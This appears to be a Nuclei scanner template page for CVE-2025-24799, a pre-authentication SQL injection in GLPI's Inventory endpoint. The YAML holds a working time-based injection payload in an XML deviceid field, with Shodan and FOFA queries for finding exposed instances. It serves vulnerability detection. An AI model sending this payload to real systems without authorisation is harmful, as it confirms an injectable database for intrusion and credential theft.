GLPI < 10.0.17 - Pre-Auth SQL Injection

ID: CVE-2025-24799

Severity: critical

Author: ritikchaddha

Tags: cve,cve2025,glpi,sqli

Description

A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.

YAML Source

id: CVE-2025-24799

info:
  name: GLPI < 10.0.17 - Pre-Auth SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.
  remediation: |
    Upgrade to GLPI version 10.0.18 or later. If upgrading is not immediately possible, consider disabling the Inventory feature or restricting access to it.
  reference:
    - https://blog.lexfo.fr/glpi-sql-to-rce.html
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-24799
    cwe-id: CWE-89
  metadata:
    verified: true
    product: GLPI
    max-request: 1
    shodan-query: title:"GLPI"
    fofa-query: title="GLPI"
  tags: cve,cve2025,glpi,sqli

http:
  - raw:
      - |
        POST /index.php/ajax/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
            <xml>
            <QUERY>get_params</QUERY>
            <deviceid>', IF((1=1),(select sleep(7)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
            <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
        </xml>

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code ==200'
          - 'contains(header, "application/xml")'
          - 'contains_all(body, "<status>ok", "REPLY>")'
        condition: and
# digest: 4a0a0047304502203eeb38de11f3be712b6031660b8c75ff26b5de69749c6bbfecff71aded291c2e022100aa61c1bba842914618ca9e30b8de161b4e4e18652134b5d6ff483fea1de84b84:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-24799.yaml"

View on Github